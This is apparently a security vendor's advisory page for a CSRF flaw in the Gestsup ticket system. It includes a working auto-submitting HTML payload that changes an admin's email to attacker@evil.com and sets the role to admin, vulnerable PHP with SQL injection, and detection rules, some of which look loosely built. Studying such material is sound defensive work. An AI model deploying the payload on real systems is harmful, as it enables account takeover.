CVE-2023-52060
Executive Summary
CVE-2023-52060 identifies a Cross-Site Request Forgery (CSRF) vulnerability in Gestsup v3.2.46, a web-based support ticket system. The flaw allows an unauthenticated attacker to craft a malicious request that, when executed by an authenticated administrator, can arbitrarily modify user profile information (e.g., email, role, password). This can lead to privilege escalation, account takeover, or persistent backdoor access. The vulnerability is unpatched as of the latest analysis, with no official fix from the vendor. The EPSS score is 0.0%, indicating low active exploitation in the wild, but the risk remains significant for organizations using this software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Gestsup is a PHP-based application. No NPM, PyPI, Go, or Ruby packages are involved. The vulnerability exists in the core application code, not in a third-party dependency.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – Attacker does not need authentication.
- User Interaction: Required (UI:R) – Victim must click a link or visit a malicious page.
- Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
- Confidentiality Impact: None (C:N) – No direct data disclosure.
- Integrity Impact: Low (I:L) – Attacker can modify user profile data.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation and account takeover elevates the risk for environments where Gestsup is used for sensitive support operations.
Deep Dive & Mechanics
The vulnerability resides in the user profile editing functionality of Gestsup v3.2.46. The application fails to implement anti-CSRF tokens (e.g., nonces) in forms that modify user data. An attacker can craft a malicious HTML page or use a simple <img> tag to trigger a POST request to the vulnerable endpoint.
Vulnerable Endpoint: Typically /index.php?page=profile&action=edit or similar.
Attack Flow:
- Attacker crafts a request that modifies a target user’s email or role (e.g., setting
admin=1). - Attacker hosts the malicious page or embeds the request in a phishing email.
- An authenticated administrator visits the page, triggering the request with their session cookies.
- The server processes the request, altering the user profile without verifying the origin.
Root Cause: Lack of CSRF protection (no token, no SameSite cookie attribute, no origin/referrer header validation).
Vulnerable vs. Patched Code
Since no patch is available, the following shows the vulnerable code pattern and a recommended fix.
Vulnerable Code (PHP):
<?php
// profile.php
if ($_POST['action'] == 'edit') {
$user_id = $_POST['user_id'];
$email = $_POST['email'];
$role = $_POST['role'];
// No CSRF token check
$db->query("UPDATE users SET email='$email', role='$role' WHERE id=$user_id");
}
?>
Patched Code (Recommended):
<?php
session_start();
if ($_POST['action'] == 'edit') {
// Validate CSRF token
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die("CSRF validation failed.");
}
$user_id = (int)$_POST['user_id'];
$email = filter_var($_POST['email'], FILTER_SANITIZE_EMAIL);
$role = (int)$_POST['role'];
$stmt = $db->prepare("UPDATE users SET email=?, role=? WHERE id=?");
$stmt->execute([$email, $role, $user_id]);
}
?>
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Target Gestsup instance (v3.2.46) accessible over network.
- Authenticated admin session (victim).
Exploit Payload (HTML):
<html>
<body>
<h1>Click me for a surprise!</h1>
<form id="csrf" action="http://target.gestsup.local/index.php?page=profile&action=edit" method="POST">
<input type="hidden" name="user_id" value="1">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="role" value="admin">
<input type="submit" value="Click here">
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>
Usage: Host this HTML on an attacker-controlled server and send the link to an authenticated admin. Upon visiting, the form auto-submits, changing user ID 1’s email and role.
Blue Team (Defender)
Detection Steps:
- Monitor for unexpected changes to user profiles (email, role).
- Check web server logs for POST requests to
/index.php?page=profile&action=editwith unusualRefererheaders. - Implement CSRF tokens immediately (see patched code).
- Enable SameSite cookies (set to
LaxorStrict).
Lab Setup:
- Use Docker to deploy Gestsup v3.2.46.
- Simulate admin session with a browser.
- Use Burp Suite to craft and replay CSRF requests.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/index.php?page=profile&action=editwithRefererheader not matching the application domain. - Repeated requests to modify user ID 1 or other high-privilege accounts.
- POST requests to
- Host:
- Unexpected changes in user email or role fields in the database.
- New admin accounts created via profile modification.
- Logs:
- Web server logs showing
POST /index.php?page=profile&action=editfrom external IPs with no prior session activity.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2023_52060_CSRF_Gestsup {
meta:
description = "Detects CSRF exploit attempts against Gestsup v3.2.46"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-52060"
strings:
$csrf_payload = "page=profile&action=edit" ascii nocase
$user_id = "user_id=" ascii nocase
$role = "role=" ascii nocase
condition:
all of them
}
Sigma Rule
title: CVE-2023-52060 CSRF Exploit Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to Gestsup profile edit endpoint without proper referer
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/index.php'
cs-uri-query: 'page=profile&action=edit'
filter:
cs-referer: 'http://target.gestsup.local/*'
condition: selection and not filter
falsepositives:
- Legitimate admin actions from same domain
level: high
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2023-52060 Gestsup CSRF Profile Edit";
flow:to_server,established;
content:"POST"; http_method;
content:"/index.php"; http_uri;
content:"page=profile&action=edit"; http_uri;
pcre:"/Referer:[^\r\n]*?(?!http:\/\/target\.gestsup\.local)/Pi";
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Implement CSRF Tokens: Add a unique, per-session token to all state-changing forms. Validate on the server side.
- Set SameSite Cookies: Configure PHP session cookies with
SameSite=LaxorStrict. - Validate Referer Header: Reject requests where the
Refererheader does not match the application’s origin. - Update Gestsup: Monitor the vendor for a patched version. If none, consider migrating to an alternative solution.
Long-Term Fixes:
- Conduct a full security audit of Gestsup for other CSRF and XSS vulnerabilities.
- Implement Content Security Policy (CSP) headers to mitigate XSS-based CSRF.
- Use a Web Application Firewall (WAF) to block suspicious requests.
Valters IT – Securing your digital frontier.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.